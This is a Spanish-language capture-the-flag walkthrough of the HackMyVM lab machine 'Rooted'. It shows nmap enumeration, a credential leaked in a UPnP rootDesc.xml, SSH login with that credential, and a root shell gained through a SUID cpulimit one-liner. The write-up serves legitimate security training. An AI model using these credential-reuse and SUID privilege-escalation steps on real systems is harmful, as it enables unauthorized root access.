cd ~/blog

~/writeups/hmv/148-rooted.md

148 - Rooted

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Exposición de credenciales en metadatos UPnPReutilización de credenciales mediante SSHSUID cpulimit Privesc
hackmyvm.eu/machines/machine.php?vm=Rooted

~3 min de lectura


Reconocimiento

El creador de la máquina advierte que deben mantenerse los dos adaptadores de red, pero no especifica cuál de ellos funciona como interfaz de entrada. Al importar la OVA, el primero viene configurado en modo NAT y el segundo como Host-only Adapter. Tras probar la conectividad con ambos, dejamos el primero en NAT y cambiamos únicamente el segundo a Bridged Adapter sobre wlo1; de esta forma conservamos las dos interfaces requeridas y, al mismo tiempo, incorporamos la VM a nuestra red local para poder descubrirla y escanearla desde el equipo atacante. La configuración final queda de la siguiente manera:

Con el segundo adaptador ya configurado en modo puente, utilizamos arp-scan sobre wlo1 para localizar la VM dentro de nuestra red:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.165	08:00:27:23:f0:35	PCS Systemtechnik GmbH

La MAC obtenida, 08:00:27:23:f0:35, coincide con la del segundo adaptador mostrado en la configuración de VirtualBox. Esto confirma que 192.168.1.165 corresponde a la interfaz puente, por lo que fijamos esa dirección como objetivo para el resto de la enumeración.

Enumeración de servicios

Lanzamos un barrido de todos los puertos TCP. Las opciones -n y -Pn evitan la resolución DNS y el descubrimiento previo mediante ping, mientras que --min-rate 5000 acelera el escaneo dentro del laboratorio:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.165
[sudo] password for wh01s17:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-05 22:46 -0300
Nmap scan report for 192.168.1.165
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:23:F0:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Solo encontramos dos puertos abiertos: SSH en el 22 y un servicio todavía no identificado con precisión en el 8888. La etiqueta sun-answerbook es una conjetura basada en el número de puerto, no una identificación fiable; por eso realizamos un segundo escaneo con scripts por defecto y detección de versiones:

❯ nmap -sCV -Pn -p 22,8888 -oN 02-targeted.txt 192.168.1.165
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-05 22:47 -0300
WARNING: Service 192.168.1.165:8888 had already soft-matched upnp, but now soft-matched rtsp; ignoring second value
WARNING: Service 192.168.1.165:8888 had already soft-matched upnp, but now soft-matched sip; ignoring second value
Nmap scan report for 192.168.1.165
Host is up (0.00025s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)
8888/tcp open  upnp    MiniUPnP 2.3.9 (UPnP 1.1)
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 134
|     Server: Debian/6.12.74+deb13+1-amd64 UPnP/1.1 MiniUPnPd/2.3.9
|     Ext:
|     <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL was not found on this server.</BODY></HTML>
|   GenericLines:
|     501 Not Implemented
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 149
|     Server: Debian/6.12.74+deb13+1-amd64 UPnP/1.1 MiniUPnPd/2.3.9
|     Ext:
|     <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>Not Implemented</H1>The HTTP Method is not implemented by this server.</BODY></HTML>
|   HTTPOptions:
|     HTTP/1.0 501 Not Implemented
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 149
|     Server: Debian/6.12.74+deb13+1-amd64 UPnP/1.1 MiniUPnPd/2.3.9
|     Ext:
|     <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>Not Implemented</H1>The HTTP Method is not implemented by this server.</BODY></HTML>
|   RTSPRequest:
|     RTSP/1.0 501 Not Implemented
|     Content-Type: text/html
|     Connection: close
|     Content-Length: 149
|     Server: Debian/6.12.74+deb13+1-amd64 UPnP/1.1 MiniUPnPd/2.3.9
|     Ext:
|_    <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>Not Implemented</H1>The HTTP Method is not implemented by this server.</BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.991%I=7%D=10/5%Time=6AC45356%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,126,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20tex
SF:t/html\r\nConnection:\x20close\r\nContent-Length:\x20134\r\nServer:\x20
SF:Debian/6\.12\.74\+deb13\+1-amd64\x20UPnP/1\.1\x20MiniUPnPd/2\.3\.9\r\nE
SF:xt:\r\n\r\n<HTML><HEAD><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><
SF:H1>Not\x20Found</H1>The\x20requested\x20URL\x20was\x20not\x20found\x20o
SF:n\x20this\x20server\.</BODY></HTML>\r\n")%r(HTTPOptions,13B,"HTTP/1\.0\
SF:x20501\x20Not\x20Implemented\r\nContent-Type:\x20text/html\r\nConnectio
SF:n:\x20close\r\nContent-Length:\x20149\r\nServer:\x20Debian/6\.12\.74\+d
SF:eb13\+1-amd64\x20UPnP/1\.1\x20MiniUPnPd/2\.3\.9\r\nExt:\r\n\r\n<HTML><H
SF:EAD><TITLE>501\x20Not\x20Implemented</TITLE></HEAD><BODY><H1>Not\x20Imp
SF:lemented</H1>The\x20HTTP\x20Method\x20is\x20not\x20implemented\x20by\x2
SF:0this\x20server\.</BODY></HTML>\r\n")%r(FourOhFourRequest,126,"HTTP/1\.
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\nConnection:\x
SF:20close\r\nContent-Length:\x20134\r\nServer:\x20Debian/6\.12\.74\+deb13
SF:\+1-amd64\x20UPnP/1\.1\x20MiniUPnPd/2\.3\.9\r\nExt:\r\n\r\n<HTML><HEAD>
SF:<TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>Not\x20Found</H1>The
SF:\x20requested\x20URL\x20was\x20not\x20found\x20on\x20this\x20server\.</
SF:BODY></HTML>\r\n")%r(GenericLines,133,"\x20501\x20Not\x20Implemented\r\
SF:nContent-Type:\x20text/html\r\nConnection:\x20close\r\nContent-Length:\
SF:x20149\r\nServer:\x20Debian/6\.12\.74\+deb13\+1-amd64\x20UPnP/1\.1\x20M
SF:iniUPnPd/2\.3\.9\r\nExt:\r\n\r\n<HTML><HEAD><TITLE>501\x20Not\x20Implem
SF:ented</TITLE></HEAD><BODY><H1>Not\x20Implemented</H1>The\x20HTTP\x20Met
SF:hod\x20is\x20not\x20implemented\x20by\x20this\x20server\.</BODY></HTML>
SF:\r\n")%r(RTSPRequest,13B,"RTSP/1\.0\x20501\x20Not\x20Implemented\r\nCon
SF:tent-Type:\x20text/html\r\nConnection:\x20close\r\nContent-Length:\x201
SF:49\r\nServer:\x20Debian/6\.12\.74\+deb13\+1-amd64\x20UPnP/1\.1\x20MiniU
SF:PnPd/2\.3\.9\r\nExt:\r\n\r\n<HTML><HEAD><TITLE>501\x20Not\x20Implemente
SF:d</TITLE></HEAD><BODY><H1>Not\x20Implemented</H1>The\x20HTTP\x20Method\
SF:x20is\x20not\x20implemented\x20by\x20this\x20server\.</BODY></HTML>\r\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.09 seconds

El resultado identifica el puerto 8888 como MiniUPnPd 2.3.9. Aunque Nmap recibe respuestas con formato HTTP, la ruta / devuelve 404 y otros métodos devuelven 501; esto no significa que el servicio carezca de contenido. UPnP expone recursos concretos para describir el dispositivo y sus capacidades, por lo que continuamos enumerando el protocolo en lugar de tratarlo como un sitio web convencional.

Enumeración de UPnP y exposición de credenciales

MiniUPnP publica su root device description en rootDesc.xml, siguiendo la especificación oficial UPnP Device Architecture 2.0 de la Open Connectivity Foundation. Este documento es el punto de entrada de UPnP: contiene metadatos como el nombre, el fabricante, el modelo y el UUID del dispositivo. También puede enumerar los servicios disponibles y enlazar sus descripciones (SCPDURL) y endpoints de control (controlURL). Lo descargamos para inspeccionarlo localmente:

❯ wget http://192.168.1.165:8888/rootDesc.xml

Dentro del XML destaca el valor de friendlyName:

❯ cat rootDesc.xml
...
<friendlyName>upnp:nat123!</friendlyName>
...

friendlyName debería ser solo una etiqueta legible para identificar el dispositivo, pero su valor tiene el formato usuario:contraseña. Lo interpretamos como la posible credencial upnp:nat123! y, dado que SSH está expuesto en el puerto 22, comprobamos si fue reutilizada en el sistema:

Acceso inicial mediante SSH

❯ ssh upnp@192.168.1.165
upnp@192.168.1.165's password: nat123!
Linux rooted 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct  6 04:10:49 2026 from 192.168.1.54
upnp@rooted:~$

La autenticación confirma que el texto expuesto por UPnP era una credencial válida. Con ello obtenemos una sesión interactiva como upnp y acceso a la flag de usuario.

Enumeración local

Para buscar vías de escalada enumeramos los ejecutables con el bit SUID activado. Este permiso hace que un binario se ejecute con el UID efectivo de su propietario en lugar del UID del usuario que lo invoca. En el comando, -perm -4000 selecciona los archivos que tienen ese bit y 2>/dev/null oculta los errores de acceso durante el recorrido del sistema:

upnp@rooted:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/cpulimit
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/su

La mayoría de los resultados son binarios SUID habituales, pero /usr/bin/cpulimit destaca porque puede iniciar un proceso indicado por el usuario. Al conservar los privilegios efectivos de su propietario, esa funcionalidad permite ejecutar una shell privilegiada. La técnica coincide con la documentada por GTFOBins para cpulimit.

Escalada de privilegios con cpulimit

Ejecutamos /bin/sh como proceso controlado por cpulimit:

upnp@rooted:/var/www/html$ cpulimit -l 100 -f -- /bin/sh -p
Process 1012 detected

root

La opción -l 100 establece el límite de CPU requerido por la herramienta, -f mantiene el proceso en primer plano y -- separa las opciones de cpulimit del comando que se ejecutará. La parte decisiva es sh -p: el modo privilegiado evita que la shell descarte el UID efectivo heredado del binario SUID.

whoami confirma que la shell se ejecuta como root. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados